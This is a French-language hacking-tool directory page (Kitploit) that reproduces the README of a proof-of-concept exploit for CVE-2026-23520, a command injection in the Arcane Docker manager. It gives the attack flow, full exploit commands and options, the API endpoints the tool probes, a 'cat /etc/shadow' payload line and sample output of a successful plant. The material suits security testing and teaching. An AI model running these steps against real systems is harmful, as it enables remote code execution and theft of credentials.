Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
POC-CVE-2026-23520 — Preuve de concept d'exploitation pour CVE-2026-23520, une RCE authentifiée dans Arcane Docker management via injection de commandes système dans les labels de cycle de vie. Inclut les modes check, exploit et generate. | Kitploit
Outils/GitHubGitHub/augmaster/poc-cve-2026-23520
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHubaugmaster/poc-cve-2026-23520

POC-CVE-2026-23520

Preuve de concept d'exploitation pour CVE-2026-23520, une RCE authentifiée dans Arcane Docker management via injection de commandes système dans les labels de cycle de vie. Inclut les modes check, exploit et generate.

Voir le dépôt
21il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-23520 — Exécution de code à distance via les labels de cycle de vie Arcane

Injection de commandes système dans Arcane Docker Management (< 1.13.0)

Présentation

Arcane est une plateforme moderne de gestion Docker basée sur le web. Les versions antérieures à 1.13.0 sont vulnérables à une exécution de code à distance (RCE) authentifiée via une injection de commandes système dans les labels de cycle de vie du service de mise à jour.

Le service de mise à jour prenait en charge deux labels de conteneur Docker :

LabelDéclencheur
com.getarcaneapp.arcane.lifecycle.pre-updateAvant une mise à jour de conteneur
com.getarcaneapp.arcane.lifecycle.post-updateAprès une mise à jour de conteneur

La valeur du label est transmise directement à /bin/sh -c sans aucune assainissement. Comme tout utilisateur authentifié (pas seulement les administrateurs) peut créer des projets via l'API, un attaquant peut planter un projet empoisonné. Lorsqu'un administrateur déclenche ensuite une mise à jour de conteneur, la commande injectée s'exécute dans le conteneur — et potentiellement sur l'hôte si des montages de volumes sont présents.

Déroulement de l'attaque

root@kitploit:~
 Attaquant (utilisateur à faibles privilèges)        Serveur Arcane
 ────────────────────────                            ──────────────
 1. Authentification (n'importe quel utilisateur) ──►  JWT émis
 2. Création d'un projet avec                        Projet enregistré avec
    label de cycle de vie empoisonné  ──────────►    label malveillant
                                                         │
         ┌───────────────────────────────────────────────┘
         │  3. L'administrateur déclenche une mise à jour de conteneur
         ▼
    Le service de mise à jour Arcane lit la valeur du label
    La transmet à /bin/sh -c
         │
         ▼
    *** Exécution de commande arbitraire ***
    (portée conteneur, ou hôte si des volumes sont montés)

Versions concernées

StatutVersions
VulnérableArcane < 1.13.0
CorrigéArcane ≥ 1.13.0

Le correctif (commit 5a9c2f9) supprime complètement la fonctionnalité des labels de cycle de vie afin d'éliminer la surface d'attaque.

Fonctionnalités

  • Zéro dépendance — uniquement urllib de la bibliothèque standard, fonctionne sur Python 3.10+
  • Sondage résilient — essaie silencieusement plusieurs chemins d'API, noms de clés de réponse et formats de champs d'identification pour s'adapter aux différentes versions et configurations d'Arcane
  • Trois modes — check (empreinte), exploit (déploiement), generate (fichier compose hors ligne)
  • Mode verbeux (-v) — affiche exactement quels points de terminaison sont sondés et ce qui est renvoyé

Utilisation

Vérifier si une cible est vulnérable

root@kitploit:~
python3 poc_cve_2026_23520.py check -t <IP_CIBLE>

Déployer l'exploit

root@kitploit:~
python3 poc_cve_2026_23520.py exploit \
    -t <IP_CIBLE> \
    -u <NOM_UTILISATEUR> \
    -p <MOT_DE_PASSE> \
    --payload "id"

Générer un fichier compose empoisonné (hors ligne)

root@kitploit:~
python3 poc_cve_2026_23520.py generate --payload "cat /etc/shadow"

Déboguer le sondage des points de terminaison

root@kitploit:~
python3 poc_cve_2026_23520.py -v check -t <IP_CIBLE>

Options complètes

root@kitploit:~
usage: poc_cve_2026_23520.py [-h] [-v] {exploit,check,generate} ...

positional arguments:
  {exploit,check,generate}
    exploit             Déployer le projet empoisonné via l'API Arcane
    check               Prendre l'empreinte d'Arcane et vérifier la vulnérabilité
    generate            Générer un fichier compose empoisonné (aucun réseau requis)

options:
  -h, --help            Afficher ce message d'aide et quitter
  -v, --verbose         Afficher la sortie de débogage du sondage

Options de l'exploit :

OptionDescriptionDéfaut
-t, --targetHôte Arcane (IP ou nom d'hôte)requis
-P, --portPort Arcane3552
-u, --usernameTout utilisateur Arcane authentifiérequis
-p, --passwordMot de passe de l'utilisateurrequis
--payloadCommande shell à injecterid
--hookHook de mise à jour pre ou postpre
--project-nameNom du projet empoisonnépoc-cve-2026-23520
--env-idID d'environnement (détection automatique si omis)auto
--schemehttp ou httpshttp
--no-verifyIgnorer la vérification du certificat TLSdésactivé

Résilience des points de terminaison

Le script ne code pas en dur un seul chemin d'API. Il sonde plutôt silencieusement plusieurs chemins connus pour chaque opération et s'arrête au premier succès :

OpérationPoints de terminaison essayés
Version/api/version, /api/system/version, /api/v1/version, /api/settings/version, /api/status, /api/health, /api/info
Authentification/api/auth/login, /api/login, /api/v1/auth/login, /api/auth/signin, /api/users/login
Environnements/api/environments, /api/v1/environments, /api/endpoints, /api/v1/endpoints
Création de projet/api/environments/{id}/projects, /api/v1/environments/{id}/projects, /api/projects, /api/v1/projects, et plus encore

Les clés de réponse sont également mises en correspondance de manière flexible (par ex., currentVersion, version, Version, serverVersion — y compris les objets imbriqués et la recherche insensible à la casse).

Exemple de sortie

root@kitploit:~
   ╔═══════════════════════════════════════════════════════╗
   ║          CVE-2026-23520  PoC Exploit                  ║
   ║    Arcane < 1.13.0 — Lifecycle Label RCE              ║
   ╚═══════════════════════════════════════════════════════╝

  ── Étape 1 · Empreinte de la cible ──
  [*] Cible : http://10.129.7.208:3552
  [*] Sondage des points de terminaison de version …
  [+] Version trouvée via /api/version
  [+] Version Arcane : v1.12.4
  [+] La version v1.12.4 est < 1.13.0 — VULNÉRABLE

  ── Étape 2 · Authentification ──
  [*] Authentification en tant qu'attaquant …
  [+] JWT obtenu via /api/auth/login

  ── Étape 3 · Découverte de l'environnement ──
  [*] Sondage des points de terminaison d'environnement …
  [+] 1 environnement(s) trouvé(s) via /api/environments
  [*]   → 1  (local)
  [+] Utilisation de l'environnement : 1

  ── Étape 4 · Plantage du projet empoisonné ──
  [*] Injection de la charge utile dans le label de cycle de vie : pre-update
  [*] Label : com.getarcaneapp.arcane.lifecycle.pre-update
  [*] Valeur : id
  [+] Projet créé via /api/environments/1/projects

  ── Exploit planté avec succès ──
  [+] Le projet empoisonné attend maintenant un déclencheur de mise à jour.

Références

  • Avis de sécurité : GHSA-gjqq-6r35-w3r8
  • NVD : CVE-2026-23520
  • Commit de correctif : 5a9c2f9
  • Version corrigée : v1.13.0

Avertissement

Cet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur n'est pas responsable de toute utilisation abusive. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.

Licence

MIT

Télécharger l’outil